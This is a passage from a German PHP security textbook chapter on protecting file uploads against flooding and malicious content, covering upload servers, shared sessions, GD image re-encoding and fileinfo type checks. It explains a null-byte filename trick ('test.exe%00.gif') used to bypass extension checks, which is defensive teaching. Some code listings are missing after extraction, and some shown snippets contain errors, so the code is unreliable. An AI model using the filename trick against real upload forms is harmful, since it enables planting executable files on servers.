Uploads auf 1 MB pro Datei beschränkt werden, durch einen verteilten Angriff jedoch dennoch die Festplatte des Webservers gefüllt wird. Doch hier stößt man auf ein wesentliches Problem von PHP: Grundsätzlich weiß eine PHP-Session oder vielmehr ein Interpreter-Prozess nichts vom anderen; man kann also nicht innerhalb des Codes erkennen, wie oft das aktuelle Skript (hier das Upload-Skript) bereits aktiv »läuft«, um bei einer bestimmten Anzahl Clients die Notbremse zu ziehen. In diesem Skript lässt sich also nicht erkennen, wie viele Uploads momentan aktiv sind oder gerade verarbeitet werden. Es gibt allerdings einige Lösungsmöglichkeiten, die alle im Folgenden einmal genauer betrachtet werden sollen. Maximale Anzahl der Clients
Am einfachsten wäre es natürlich, wenn die Anzahl der Clients, die einen Upload durchführen können, beschränkt würden. PHP unterstützt dabei allerdings keine Möglichkeit, die maximale Anzahl gleichzeitiger Ausführungen eines Skriptes anzugeben, denn das würde wieder voraussetzen, dass ein PHP-Prozess vom anderen Kenntnis hat. Die meisten Webserver bieten genau diese Möglichkeit: Die maximale Anzahl gleichzeitig verbundener Clients kann beschränkt werden, zudem kann bei einer persistenten Verbindung sogar angegeben werden, wie viele Anforderungen pro Verbindung zulässig sind.
Hinweis Zum Verständnis für die Begrenzung der Anforderungen pro Verbindung: Normalerweise wird eine HTTP-Verbindung nach einer Übermittlung getrennt. Der Client baut beispielsweise eine Verbindung zum Webserver auf und fordert die Datei index.php an. Nachdem der Inhalt dieser Datei übermittelt wurde, trennt der Webserver die Verbindung. Ist es nun für den Client notwendig, eventuell in die Seite eingebettete Bilder nachzuladen, so muss er für jedes Bild wieder eine neue Verbindung öffnen und dieses anfordern. Genau so verhält es sich mit dem Transfer von Formulardaten in die andere Richtung: Sind die Daten eines Formulars an den Server versendet, so wird die Verbindung geschlossen. Da dieses Vorgehen auf Dauer wenig effizient ist, gibt es so genannte Keep-AliveVerbindungen, die auch nach einem Transfer geöffnet bleiben, und innerhalb einer bestimmten Zeitspanne kann eine weitere Anforderung darüber bedient werden. Dies verringert deutlich die Anzahl der notwendigen Netzwerkverbindungen. Die Begrenzung auf die maximal mögliche Anzahl der Client-Verbindungen – was unter einigen Serversystemen gleichbedeutend mit der maximalen Anzahl gleich-
186
6.1 Upload und PHP
zeitig ausführbarer Kindprozesse ist – ist eine so schwerwiegende Einstellung, dass sie nur global vorgenommen werden kann. Eine gezielte Begrenzung für ein Skript, ein Verzeichnis oder einen Sub-Host ist nicht möglich, da diese Direktive tiefgreifenden Einfluss auf den Betrieb des gesamten Webservers hat. Dies bedeutet allerdings auch, dass sich eine Limitierung, die ein »Flooding« von Uploads verhindern soll, auf die Erreichbarkeit der Webseiten durch legitime Benutzer auswirken kann. Wird unter dem Gesichtspunkt der Upload-Absicherung die entsprechende Option beispielsweise auf 50 Clients festgelegt, so bedeutet dies: Wenn ein Hacker mit 40 Uploads aktiv ist, können nur noch 10 »normale« Surfer eine andere Webseite vom Webserver anfordern. Nun kann man natürlich argumentieren, dass in Zeiten von DSL jede Übertragung sowieso relativ schnell abgeschlossen ist und somit auch ein Band von lediglich zehn Verbindungen für legitime Benutzer ausreichen sollte. Doch dies ist nicht so einfach: Die Verbindung ist solange offen, wie eine Übertragung dauert; besonders mit gleichzeitig aktivierter Keep-Alive-Funktion kann so eine Verbindung auch bei einem Client mit relativ hoher Leitungskapazität einige Zeit offen gehalten werden. Eine Verbindung für einen anderen Benutzer steht also nicht zur Verfügung. Verbindungen, die hingegen für Uploads genutzt werden, sind noch problematischer: ADSL ist viel verbreiteter als das für diese Aufgaben besser geeignete SDSL. Bei ADSL ist die Geschwindigkeit, die für Uploads zur Verfügung steht, deutlich geringer als die Download-Geschwindigkeit; im schlechtesten Fall steht als Upload lediglich eine Übertragungsrate auf ISDN-Niveau zur Verfügung. Ein einfaches Rechenbeispiel: 쐽
Diese Berechnung trifft auch nur dann zu, wenn die volle Übertragungsrate zur Verfügung steht. Dies ist selten der Fall, es sei denn der Benutzer steht direkt in der Vermittlungsstelle des Providers. Und auch andere Aktionen, die auf dem jeweiligen Client parallel ausgeführt werden – etwa das Abfragen der E-Mails – schmälern zumindest vorübergehend die Upload-Geschwindigkeit. Diese Verbindung wird also mindestens für über eine Minute blockiert, wahrscheinlich sind sogar gute anderthalb Minuten. Kommen währenddessen Verbindungen von anderen Benutzern hinzu, ist ein Limit von 50 Verbindungen schnell überschritten. Doch wie kann man dann gezielt Massen-Uploads einschränken, ohne andere Seiten zu behindern? Die offensichtlichste Möglichkeit – einen eigenen Server vorausgesetzt – ist auch relativ einfach zu verwirklichen: Die Uploads müssen über einen eigenen Webserver-Prozess erfolgen, der entsprechenden Limitierungen unterliegt. Dieser Prozess wird dann auf einem anderen Netzwerkport, da der Standardport (80 oder 443, je
187
Kapitel 6 Upload und Download
nachdem, ob HTTP oder HTTPS eingesetzt wird), bereits durch den »eigentlichen« Webserver belegt wird.
Hinweis Bei dieser Technik gibt es auch keinerlei Probleme mit Sessions. Ist es notwendig zu verifizieren, dass ein Benutzer authentifiziert ist, wenn er einen Upload durchführt, kann natürlich die bestehende Session genutzt werden, die vom »normalen« Webserver-Service angelegt wurde. Dafür muss allerdings die PHPSESSID im Formular übermittelt und im Upload-Skript ein session_start() aufgerufen werden. Danach stehen alle Session-Daten zur Verfügung. Allerdings kann dieses Vorgehen zum Trick 17 mit Selbstüberlistung und eingebauter Falltür mutieren, wenn man die Konfiguration des alternativen Webserverprozesses zu leichtfertig abhandelt. Wichtig ist, daran zu denken, dass mit der Direktive MaxClients (Apache) oder der entsprechenden Einstellung unterhalb eines anderen Webserversystems lediglich die Anzahl der gleichzeitigen Verbindungen und somit allenfalls die CPU- und Netzwerklast begrenzt werden kann, ohne dass der Webservice anderweitig beschränkt wird. Dies bedeutet aber auch, dass die Festplatte weiterhin mit unsinnigen Uploads »zugemüllt« werden kann. Theoretisch kann man dies verhindern, indem man beispielsweise lediglich 50 Client-Verbindungen auf diesem Server zulässt und PHP dabei eine maximale Dateigröße von 20 MB akzeptiert. Dabei wird dann im Fall X – wenn tatsächlich gleichzeitig 50 Clients versuchen, mindestens 20 MB große Dateien auf den Server zu laden – eine Plattenkapazität von 1000 MB gebunden; mit diesem Wissen im Hinterkopf kann man dafür sorgen, dass immer diese 1000 MB zuzüglich einer Reserve (für Daten, die beispielsweise von der Datenbank gespeichert werden) auf der Platte frei sind.
Hinweis Diese Speicherproblematik tritt seltener auf dedizierten Webservern auf, da dort im Allgemeinen ausreichend Speicherplatz zur Verfügung steht. Hat man jedoch nur Webspace angemietet und muss sich den Speicherplatz also mit anderen Benutzern teilen, kann es eher zu einer Auslastung kommen – in einer solchen Umgebung lässt sich der Webserver allerdings nicht durch die Benutzer konfigurieren! Im Normalfall wird eine hochgeladene Datei nach der Verarbeitung von PHP wieder aus dem temporären Verzeichnis gelöscht. Es kann jedoch vorkommen, dass dies nicht oder nicht unverzüglich der Fall ist (etwa bei Problemen mit der Skriptausführung, zu hoher Auslastung etc.), und dann kann sich eine Datenmenge größer als die berechneten 1000 MB ansammeln.
188
6.1 Upload und PHP
Auf der anderen Seite sind zu rigide Beschränkungen sehr kontraproduktiv: Wenn Sie eine Webseite betreiben, bei der Kunden etwa teilweise relativ große Dateien einliefern, können 50 Verbindungen schnell belegt sein. Kommen auf der anderen Seite noch Clients hinzu, die nur mittelgroße Dateien (z. B. 5 MB) hochladen, dafür aber eine langsame Anbindung haben, stößt man schnell an die Grenzen. Erhöht man die zulässige Clientanzahl hingegen, wird auch der theoretisch gebrauchte Plattenplatz steigen. Man kann natürlich nicht unbegrenzt viel Speicherplatz für die temporäre Speicherung von Upload-Dateien vorsehen. Ganz ist diese vertrackte Situation nicht zu vermeiden, jedoch kann man den verbrauchten Plattenplatz einschränken, indem der eigens für den Upload-Service eingerichtete Webserverprozess nicht unter dem gleichen Benutzer betrieben wird wie der originäre Webdienst. Denn in dieser Konstellation ist es möglich, dem »alternativen« Webserver eine Quota auf Betriebssystemebene zu definieren, also den maximalen Speicherbedarf festzulegen, der auf der Festplatte in Anspruch genommen werden darf. Dabei sollte die Quota auch nicht zu knapp bemessen werden, denn wird die Grenze erreicht, so kann keine Datei mehr hochgeladen werden, bis eine andere gelöscht wurde. Doch in diesem Fall lässt sich anhand der Upload-Fehler eine entsprechende Meldung via PHP ausgeben, die den Benutzer beispielsweise darüber informiert, dass der Upload nicht erfolgreich war und er es später erneut versuchen soll. Eine Fehlermeldung an den Endbenutzer und ein weiterhin funktionierender und zeitnah reagierender Webserver sind allemal besser als ein Service, bei dem ein Upload ohne Rücksicht auf Verluste möglich ist, bei dem nachher keinerlei Webseiten und andere Dienste mehr erreichbar sind.
Wichtig Wird der alternative Webserver unter einem anderen Benutzer betrieben und ist später ein Zugriff durch den originären Webserver auf die Uploads notwendig, so sollten die Rechte der hochgeladenen Dateien unter Linux, Unix und Mac OS X mit den PHP-Funktionen chmod(), chown() und chgrp() entsprechend verändert werden. Der Betrieb unter einem eigenen Benutzer hat allerdings auch einen weiteren Nachteil: Sollen Sessions zwischen den »normalen« und den »alternativen« ServerProzessen geteilt werden, stellt sich das Problem der Berechtigung. PHP wird beim Anlegen der Session-Dateien stets nur dem eigenen Benutzer das Lese- und Schreibrecht einräumen, ein Zugriff durch einen anderen Benutzer ist also nicht ohne Weiteres möglich. Für diesen Fall sollte auf ein anderes Speichermodell ausgewichen werden, mehr Informationen dazu erhalten Sie in Kapitel 5.
189
Kapitel 6 Upload und Download
Dedizierte Upload-Server
Wichtig Dieser Abschnitt soll lediglich die Probleme verdeutlichen, die bei einer Verteilung von Servern entstehen können. Die folgenden Seiten ersetzen keineswegs professionelles Consulting zu Themen wie Load Balancing1 (Lastverteilung) und Server Clustering2. Sofern eine solche Serverstruktur notwendig erscheint, sollten Sie unbedingt in die dafür notwendige Beratung und Hardware investieren – wenn Sie sich auf der sicheren Seite befinden möchten, werden Sie um ein Clustering nicht herumkommen. Doch was tun, wenn der Upload-Service stark frequentiert sein wird? Nun in diesem Fall wird man kaum ohne eine Serverfarm auskommen; um hier effizient zu arbeiten werden mindestens drei Server benötigt, mehr Rechner sind natürlich umso besser. In diesem Konzept liegt die Webseite beispielsweise auf der Subdomain www (z.B. www.abc.de) während die Upload-Server über die Subdomain upload (upload.abc.de) erreichbar sind. Damit man sich hier nicht mit der Verteilung der Anfragen auf verschiedene Server beschäftigen muss, kann man die Möglichkeiten des DNS-Server nutzen. Eine Bind-DNS-Konfiguration könnte beispielsweise so aussehen (Ausschnitt aus einer Zonendatei): www upload
A
100.100.100.1
A
100.100.100.10
A
100.100.100.11
Das Verfahren, das hier zum Einsatz kommt, trägt den Namen Round-Robin; dabei wird jeweils stets ein anderer A-Record für den upload-Eintrag zurückgegeben. Zwei nacheinander anfragende Clients werden also jeweils einen anderen Server verwenden. Das Ganze muss natürlich auch passend in die eigene Webanwendung integriert werden; es nützt recht wenig, die Uploads auf mehrere Server zu verteilen und somit die Last pro Server zu reduzieren, wenn danach ein Dateichaos entsteht, weil
1
2
190
Load Balancing ist eine Technik zur Lastverteilung. Dabei sollte nach Möglichkeit spezielle, redundant ausgelegt Hardware eingesetzt werden, die die eingehenden Anfragen dann auf mehrere dahinterliegende Server verteilt. Dabei werden auch ausgefallene Systeme erkannt und nicht mehr angesprochen. Ein erfolgreiches Load Balancing setzt allerdings voraus, dass sämtliche Daten allen Servern zur Verfügung stehen, denn es ist keinesfalls garantiert, dass ein Client bei zwei aufeinanderfolgenden Anfragen vom gleichen Server »bedient« wird. Gemeint sind hier HA-Cluster, also High-Availability-Cluster. Dabei werden mehrere Server zusammengeschaltet, die sich ständig im Hintergrund synchronisieren. Fällt einer der Server aus, kann – die technische Möglichkeit einer solchen Übernahme vorausgesetzt – ein anderer Server dessen Aufgaben ausfallfrei und ohne Datenverlust übernehmen.
6.1 Upload und PHP
nicht alle hochgeladenen Daten von jedem Rechner erreichbar sind. Im Großen und Ganzen sollte die Vorgehensweise sein: 1. Die Anwender nutzen die Funktionen der Webanwendung auf dem Server, der über die Subdomain www erreichbar ist. 2. Alle Uploads werden nicht an www, sondern an den Host upload gesendet (WebFormulare müssen entsprechend programmiert werden). 3. Durch das Round Robin verfahren werden beide im DNS eingetragene uploadServer relativ gleichmäßig verwendet. Auf diese Server wird jeweils die UploadDatei übertragen. 4. Nach einem Upload wird die Datei auf dem jeweiligen upload-Server verarbeitet und eventuell geprüft (z. B. Dateitypprüfung). 5. Danach wird die Datei per FTP oder über einen anderen Dienst auf den www-Server kopiert, damit diese der zentralen Webanwendung zur Verfügung steht. Alternativ könnte man natürlich auch einen weiteren unabhängigen File-Server betreiben, der nur die gesammelten Dateien bereitstellt – wodurch der eigentliche Webserver nachhaltig entlastet wird. 6. Die temporär angelegte Datei auf dem upload-Server wird von PHP nach Abschluss der Operationen automatisch gelöscht. Mit dieser Konstruktion schlägt man natürlich gleich mehrere Fliegen mit einer Klappe: 쐽
Die Anzahl der maximal zulässigen Client-Verbindungen lässt sich für die eigentliche Webanwendung unabhängig von Überlegungen zur UploadBeschränkung realisieren
쐽
Die Webanwendung funktioniert auch dann, wenn die Upload-Server »geflooded« werden und somit ihre Netzwerkanbindung stark ausgelastet ist
쐽
Selbst wenn ein Upload-Server aufgrund von Überlastung ausfällt, beeinträchtigt das nicht die Webseite als solche – und somit auch nicht die Nutzdaten und Funktionalität
쐽
Eine rechenzeit- und speicherintensive Verarbeitung (etwa der Import von hochgeladenen Dateien in eine Datenbank, wobei die Dateien jeweils komplett in den Speicher geladen werden müssen) wird dezentral organisiert.
So gut dieses System nun auch erscheinen mag, so gibt es dennoch ein paar offene Punkte, über die vor einer Realisierung zumindest einmal nachgedacht werden sollte. Das Round-Robin-Verfahren ist kein Verfügbarkeitsgarant: Jeder Client bekommt beim Abfragen der IP für den Upload-Host alle dazu vorliegenden Einträge übermittelt. Dabei rotiert der DNS-Server allerdings die Liste, so dass sich der erste Ein-
191
Kapitel 6 Upload und Download
trag dieser Liste für jede Anfrage ändert, die meisten Clients verwenden jedoch ausschließlich den ersten Eintrag und wechseln nicht zu einer anderen IP, falls keine Verbindung mit dem »primären« Host möglich ist. Dies bedeutet, dass bei einem Einsatz von zwei Upload-Servern nach einem Ausfall fast genau 50 % der Upload-Versuche fehlschlagen sein werden. Auf der anderen Seite ist einer der Vorteile verloren, wenn sich Upload- und Webserver nicht innerhalb des gleichen Netzwerks befinden. Da beide Upload-Server im Nachhinein die hochgeladenen Dateien wiederum auf den Webserver transferieren, wird in diesem Schritt jeweils Netzwerkkonnektivität und auch Rechenzeit gebunden; solange dieser Transfer – der vom PHP-Skript aus eingeleitet werden muss – aktiv ist, wird ebenfalls ein PHP-Prozess ausgeführt. Findet die Übertragung im selben Hochgeschwindigkeitsnetzwerk (100 oder 1000 MBit/s) statt, so sind auch große Dateien relativ schnell übertragen. Bei einer Übertragung zwischen verschiedenen Rechenzentren steht eventuell nicht die gleiche hohe Transferrate zur Verfügung, die Übermittlung dauert länger und in dieser Zeit werden sowohl auf dem Upload- als auch auf dem Anwendungsserver Netzwerksockets gebunden und unter besonders schlechten Umständen wird eventuell die Laufzeit des PHP-Skripts auf dem Upload-Server überschritten und der Transfer zum Anwendungsserver wird abgebrochen. Für Uploads wird es meist notwendig sein, dass der Benutzer in irgendeiner Form vorher authentifiziert wurde oder bestimmte Daten innerhalb der Session vorliegen und vom Upload-Skript geprüft werden. Ein Beispiel sind hier die CAPTCHAs: Der Benutzer bekommt im Upload-Formular eine Bilddatei angezeigt, in der sich »versteckt« Buchstaben und Zahlen finden, die er für einen erfolgreichen Upload eingeben muss. Das Upload-Skript muss den eingegebenen Wert dann mit der vorher festgelegten und innerhalb der Session3 gespeicherten Kombination vergleichen. Ist dieses Paar nicht identisch, so wird der Upload nicht weiter verarbeitet. Ist eine Session – solange sie existiert – von jedem PHP-Prozess auf dem gleichen System verwendbar, so bietet PHP keinen Mechanismus, um serverübergreifend auf Sitzungsdaten zugreifen zu können. Um dennoch zu gewährleisten, dass nicht jeder einen Upload auf das System starten kann, gibt es für serverübergreifende Sessions drei Systeme:
192
쐽
Mohawks msession/mcache: Hierbei wird der mcache-Daemon auf einem Server betrieben. Dabei wird eine Session innerhalb des mcache registriert, nun kann jeder zugelassene Server mit der entsprechenden ID Daten innerhalb dieser Sitzung speichern und auslesen. Die einzige Schwierigkeit besteht also lediglich darin, dem Upload-Skript auf dem Upload-Server die entspre-
3
Diese Daten im Formular zu übermitteln, wäre wenig zielführend: Der Angreifer könnte diese Daten aus dem HTML-Code auslesen und wüsste somit immer den richtigen Code. So würde ein Upload-Flooding wieder ermöglicht.
6.1 Upload und PHP
chende mcache-Session-ID mitzuteilen, das kann jedoch im Upload-Formular übermittelt werden. mcache kann dabei auf zwei verschiedene Arten eingesetzt werden:
1. Als PHP-Session-Handler: Innerhalb der php.ini wird mit der Eintragung session.save_handler = mcache der Session-Handler auf mcache gesetzt, über die Option session.save_path wird der Host definiert, auf dem der mcache-Daemon betrieben wird. Nun werden alle Sessions – auch die, die lediglich auf einem einzelnen Server verwendet werden – gespeichert. Dabei können Sessions wie gewohnt weiterverwendet werden, eine Code-Anpassung an mcache ist nicht notwendig. Soll die Session auf einem anderen Server genutzt werden, muss diesem lediglich die Session-ID (deren Name über die Option session.name definiert wird) mitgeteilt werden (etwa im Upload-Formular als verstecktes Feld), damit diese bei einem session_start verwendet wird. Dort muss lediglich der gleiche mcache-Server als Session-Handler konfiguriert sein. 2. Als zusätzliche Funktionalität: Sollen nicht alle Sessiondaten auf mehreren Servern verwendet werden oder es wird bereits ein anderer Session-Handler als mcache eingesetzt, so kann mcache auch lediglich bestimmte Daten speichern. Dabei müssen die betroffenen Daten allerdings über eine eigene API an den mcache-Daemon übermittelt werden. Die Funktionen finden sich in der PHP-Dokumentation im XCI. Kapitel. Diese haben als Präfix alle msession, was historisch bedingt ist: Im Jahr 2006 wurde mcache in msession umbe-
nannt. Dabei muss nach einem Verbindungsaufbau (msession_connect()) auf dem »auslösenden« Server eine eigene msession-Session erzeugt werden (msession_create()): Als Session-ID empfiehlt sich, entweder die ID der PHP-eigenen Session oder den Wert, den die Funktion msession_uniq() liefert, zu verwenden. Der Server, der lediglich Daten auslesen soll, muss nach einem msession_connect() nur einen Variablenwert mittels msession_get() auslesen. Auch hier gilt natürlich: Die Session-ID muss dem Ziel-Server übermittelt werden. 쐽
PostgreSQL Session Handler: Dieses Modul verhält sich wie mcache: Es handelt sich um einen alternativen Session-Handler (im Gegensatz zu mcache gibt es hier keinen ausgebauten »standalone«-Modus). In der php.ini wird session.save_handler der Wert session_pgsql zugewiesen. Davor muss allerdings das PostgreSQL-Session-Modul in PHP einkompiliert werden, mehr Hinweise dazu finden sich in der PHP-Dokumentation im CXLII. Kapitel und in der ReadMe-Datei des Moduls.
193
Kapitel 6 Upload und Download
Zusätzlich muss noch über die Direktive session_pgsql.db ein gültiger PostgreSQL-Connection-String angegeben werden, hinter dem die zu verwendende Datenbank steht. Bei diesem Modul wird weiterhin eine Session wie gewohnt genutzt, es ist also keine Code-Umstellung innerhalb der PHP-Skripte notwendig. Hier muss dem Zielserver auch die Session-ID mitgeteilt werden, damit ein session_start() auch auf die bereits bestehenden Daten zugreifen kann. Einen Nachteil bietet der PostgreSQL Session-Save-Handler allerdings: Er steht unter Windows nicht zur Verfügung. 쐽
Eine eigene Lösung: Stehen die oben genannten Lösungen etwa aus technischen Gründen nicht zur Verfügung, sie wirken zu »oversized« oder es gibt noch weitere Anforderungen, die durch diese Methoden nicht abgedeckt werden, kann es sinnvoll sein, eine eigene Funktionalität zu entwickeln, mit der es möglich ist, sitzungsspezifische Daten zwischen verschiedenen Servern auszutauschen. Hier ist der eigenen Erfindungsgabe natürlich keine Grenze gesetzt. Mehr Informationen zur Entwicklung eines eigenen Session-Save-Handlers erhalten Sie im Kapitel 5.
Beispiel einer Upload-Konfiguration
Im Folgenden noch ein Beispiel einer Upload-Konfiguration mit folgenden Elementen: 쐽
Es gibt drei Server: einen Webserver (www.testdomain.net) und zwei UploadServer (upload.testdomain.net)
쐽
Sessions werden auf dem Webserver mittels mcache verwaltet
쐽
Die Upload-Server sind innerhalb des DNS-Servers als Round-Robin-Einträge definiert
쐽
Die Anzahl der Clients sowie die Größe der Dateien werden auf den UploadServern begrenzt
쐽
Nach erfolgreichem Upload und Validierung des Benutzers werden die Dateien auf den Webserver per FTP transferiert
Die Upload-Server werden mittels Round-Robin-Verfahren in die DNS-Zone aufgenommen. Upload-Server: php.ini … [Session] session.save_handler = mcache session.save_path = www.testdomain.net session.name = PHPSESSID session.auto_start = 1 [PHP] file_uploads = on upload_tmp_dir = /tmp upload_max_file_size = 20M post_max_size = 22M max_execution_time = 120 max_input_time = 120 memory_limit = 32M …
Der Webserver selbst akzeptiert keine Uploads mehr und die Sessions werden zentral per mcache verwaltet. Upload-Server: Webserverkonfiguration In der httpd.conf eines eingesetzten Apache-Servers: MaxClients 50
195
Kapitel 6 Upload und Download
Unter dem Roxen-Webserver kann die maximal zulässige Anzahl der Clients nicht direkt begrenzt werden. In den Globals kann unter Settings lediglich die Thread-Anzahl begrenzt werden, jedoch kann ein Thread auch mehrere Verbindungen bedienen. Microsofts IIS bietet hingegen keine Möglichkeit in dieser Richtung. Passend dazu kann für den Benutzer, unter dem der Webserverdienst auf den Upload-Servern betrieben wird, eine Quota festgelegt werden. Da PHP temporäre Upload-Dateien unter Umständen nicht sofort löscht, sollte dieser Wert mindestens 125% des erwarteten maximalen Platzverbrauchs (upload_max_file_size aus der php.ini multipliziert mit dem Wert von MaxClients aus der Webserverkonfiguration) sein. Die Festlegung eines Quotas ist dabei sehr stark vom Betriebssystem abhängig. Unter Windows (ab Windows 20004) wird es über die Eigenschaften des Laufwerks (oder Verzeichnisses) über die Registerkarte KONTINGENT festgelegt. Unter Linux ist es erforderlich, dass die Quota-Unterstützung in den Kernel einkompiliert wurde, eventuell muss noch das quota-Paket, das die Tools zur Verwaltung der Kontingente bereitstellt, installiert werden.
Wichtig Soll Disk-Quota unter Linux eingesetzt werden, empfiehlt sich unbedingt tiefer gehende Lektüre. Allerdings ist dieser Schritt lediglich optional, es reicht aus, wenn garantiert ist, dass genügend Platz vorhanden ist, um die maximal möglichen Uploads temporär speichern zu können. Webserver: Ausgabe eines Upload-Formulars mit CAPTCHA Das folgende Skript gibt ein Upload-Formular aus, dessen Daten an einen Upload-Server übermittelt werden. Dabei wird ein CAPTCHA erzeugt, in einer Grafik angezeigt und der Code in der Session gespeichert.
Tipp Hier wird auf eine Benutzeranmeldung verzichtet, generell ist es allerdings zu empfehlen, Uploads nur von registrierten Benutzern zuzulassen.
4
196
Steht unter Windows XP Home Edition nicht zur Verfügung.
Hinweis Ein expliziter Aufruf von session_start() ist nicht notwendig, da PHP in der aktuellen Konfiguration (session.auto_start = 1) bereits eine Session automatisch startet bzw. reaktiviert. Die Datei codePicture.php, die sowohl einen Zufallscode beliebiger Länge als auch ein entsprechendes Bild erzeugen kann, sowie den vollständigen Sourcecode des hier dargestellten Beispiels finden Sie auf der Webseite des Buchs. Zu beachten ist hier lediglich, dass der Code ausschließlich in der Session gespeichert werden sollte und auch nicht innerhalb des HTML-Quelltextes (etwa innerhalb des -Tags) erscheint, da dieser jedem Client zur Verfügung steht.
197
Kapitel 6 Upload und Download
Upload-Server: Verarbeitung des Uploads Upload-Form Upload erfolgreich.
198
6.2 Uploads prüfen
Tipp Falls der benutzte FTP-Server den Befehl ALLO unterstützt, kann vor dem Transfer zusätzlich mit ftp_alloc() geprüft werden, ob auf dem Anwendungsserver ausreichend Speicherkapazität für die hochgeladene Datei zur Verfügung steht.
6.2
Uploads prüfen
Bei Uploads geht die Gefahr nicht ausschließlich vom Flooding aus, also dem Überlasten des Systems durch eine hohe Anzahl von Uploads, sondern auch von Dateien, die scheinbar legitim sind (also in ihrer Größe zulässig und durch einen gültigen CAPTCHA bestätigt). Der Inhalt stellt eine mindestens genauso große Gefahr für ein System dar. Beachten Sie hierzu auch den Abschnitt 3.5.3 Externe Dateien und include auf Seite 76. Eine Gefahr von hochgeladenen Dateien entsteht allerdings nicht nur dann, wenn Dateien aus externen Quellen per include() oder require() durch den PHP-Parser verarbeitet werden. Durch andere Lücken innerhalb von PHP, der eigenen Webanwendung oder des Betriebssystems des Webservers kann es möglich sein, diese Dateien dennoch auszuführen. Aus diesem Grund sollte jede hochgeladene Datei generell vor einer endgültigen Übernahme auf ihren Inhalt geprüft werden.
6.2.1 Prüfen von Bilddateien Eine Überprüfung von Bilddateien ist relativ schwer, da getimagesize() auch dann gültige Daten zurückliefert, wenn die Bilddatei zusätzliche Daten enthält, die eindeutig nicht zum Bild gehören. Mithilfe der gd-Bibliothek kann allerdings jede Bilddatei auf die Daten reduziert werden, die für die Darstellung notwendig sind. So kann externer Code ausgefiltert werden.
Hinweis Die gif-Funktionen stehen bei der Verwendung der GD-Versionen zwischen 1.6 und 2.0.27 nicht zur Verfügung. Dabei wird jeweils ein neues Bild mittels einer imagecreatefrom()-Funktion aus der hochgeladenen Datei erzeugt; es wird also die Originaldatei nicht kopiert, sondern lediglich als Datenbasis genutzt. Dabei ist die zu verwendende Funktion abhängig vom Format der Datei. Ein Upload-Skript (auf Basis des Beispiels aus dem Abschnitt Upload-Server: Verarbeitung des Uploads auf Seite 198), das mit den gebräuchlichsten Bildtypen umgehen kann, könnte so aussehen:
199
Kapitel 6 Upload und Download
200
6.2 Uploads prüfen
die("No connection"); if(ftp_put($connection, $_FILES["filename"]["name"], $imgfilename)==FALSE) die("File transfer failed"); ftp_close($connection); // Alternativ zum FTP-Upload könnte die Datei auch lokal kopiert werden: copy($imgfilename, "/www/uploads/".$_FILES["filename"]["name"]); // Danach sollte auf jeden Fall die temporär erzeugte Bilddatei gelöscht werden unlink($imgfilename); } ?> Upload-Form Upload erfolgreich.
Listing 6.1:
Absicherung von hochgeladenen Bilddateien
Neben GIF-, JPG- und PNG-Dateien können auch noch andere Bilddateien über die imagecreatefrom()-Funktionen entsprechend verarbeitet werden. Da getimagesize() dafür jedoch keine fest vordefinierten Konstanten anbietet, muss die Erkennung dieser Dateien anderweitig vorgenommen werden. Keinesfalls sollte man sich dabei auf die Dateiendung verlassen. Eine Alternative ist die fileinfoBibliothek, die sich unterhalb der PECL-Sammlung auf http://pecl.php.net/ package/Fileinfo findet. Nach einer Installation wird noch die mime.magic-Datei benötigt, die beispielsweise mit dem Apache-Server im Konfigurationsverzeichnis ausgeliefert wird (dort heißt sie allerdings lediglich magic). In dieser Datei findet fileinfo die verschiedenen Dateistrukturen, an denen sich ein Dateityp erkennen lässt. fileinfo verlässt sich also keinesfalls auf eine Dateiendung, sondern untersucht gezielt den Inhalt: file($_FILES["filename"]["tmp_name"]); ?>
201
Kapitel 6 Upload und Download
Die Funktion file() liefert dabei den Typ einer Datei wie er in der mime.magicDatei vermerkt ist. Wird das Skript, das Dateitypen bisher auf Basis von getimagesize() realisiert hat, entsprechend angepasst, so sieht es so aus (Ausschnitt): … $imgfilename = tempnam("/tmp", "img"); $info = new finfo("/www/mime.magic"); $imgtype = $info->file($_FILES["filename"]["tmp_name”]); switch($imgtype) { case "image/gif": $img = imagecreatefromgif($_FILES["filename"]["tmp_name"]); imagegif($img, $imgfilename); break; case "image/jpeg": $img = imagecreatefromjpeg($_FILES["filename"]["tmp_name"]); imagejpeg($img, $imgfilename); break; case "image/png": $img = imagecreatefrompng($_FILES["filename"]["tmp_name"]); imagepng($img, $imgfilename); break; case "image/x-xbm": $img = imagecreatefromxbm($_FILES["filename"]["tmp_name"]); imagexbm($img, $imgfilename); break; case "image/x-portable-bitmap": $img = imagecreatefromxpm($_FILES["filename"]["tmp_name"]); imagexpm($img, $imgfilename); break; default: die("Invalid image"); } …
Dieses Skript stellt nun mithilfe von finfo den Typ der Datei fest (finfo analysiert dazu den Dateiinhalt) und erzeugt basierend auf dieser Information ein neues Bild, wodurch eingeschleuster Code entfernt wird.
202
6.2 Uploads prüfen
6.2.2 Dateityp feststellen Oft soll die Upload-Möglichkeit auf bestimmte Dateitypen begrenzt werden; Benutzern soll es beispielsweise nur möglich sein, Text- oder Bilddateien, jedoch keine ausführbaren Anwendungen hochzuladen. Dies liegt zum Einen in Sicherheitsanforderungen, die verhindern sollen, dass gefährliche Dateien wie etwa Trojaner hochgeladen auf dem Server ausgeführt oder über ihn an andere Benutzer verteilt werden, zum Anderen ist es je nach angebotenem Dienst nicht sinnvoll, beliebige Dateien hochladen zu lassen. Für einen Online-Fotoservice sind ausschließlich Foto-Dateien – also JPG oder PNG – zu gebrauchen, mit Textdateien hingegen kann man nichts anfangen. Bei der Prüfung auf Typen sollte man sich nicht blind auf die Dateiendung verlassen, diese könnte mutwillig verändert worden sein oder so manipuliert worden sein, dass scheinbar ein anderer Dateityp vorliegt. Denkbar sind hier Sonderzeichen wie %00 oder ^Z, die unter bestimmten Betriebssystemen dafür sorgen, dass auf Betriebssystemebene der Name nur bis zu diesem Sonderzeichen erhalten bleibt, unter PHP allerdings der vollständige Name ausgewertet wird. Dies hat bei einem Dateinamen test.exe%00.gif zur Folge, dass etwa eine Identifikation in PHP mittels stristr() oder explode() (Punkt als Separator, Verwenden des letzten Array-Elements) die Dateiendung gif liefert. Bei einer Übergabe an das Betriebssystem, etwa mittels system()-Aufruf, wird jedoch test.exe verwendet. Deswegen sollten Dateien anhand ihres Inhalts auf ihren Typ untersucht werden. Dafür kann die PECL-Bibliothek fileinfo verwendet werden (siehe Abschnitt 6.2.1 Prüfen von Bilddateien auf Seite 199). Die Verwendung ist relativ einfach: file($_FILES["filename"]["tmp_name"]); ?>
In $ftype findet sich die Bezeichnung des Dateityps. Die gebräuchlichsten sind: 쐽 application/pdf – Acrobat PDF 쐽 application/rtf
– Rich Text Format-Datei
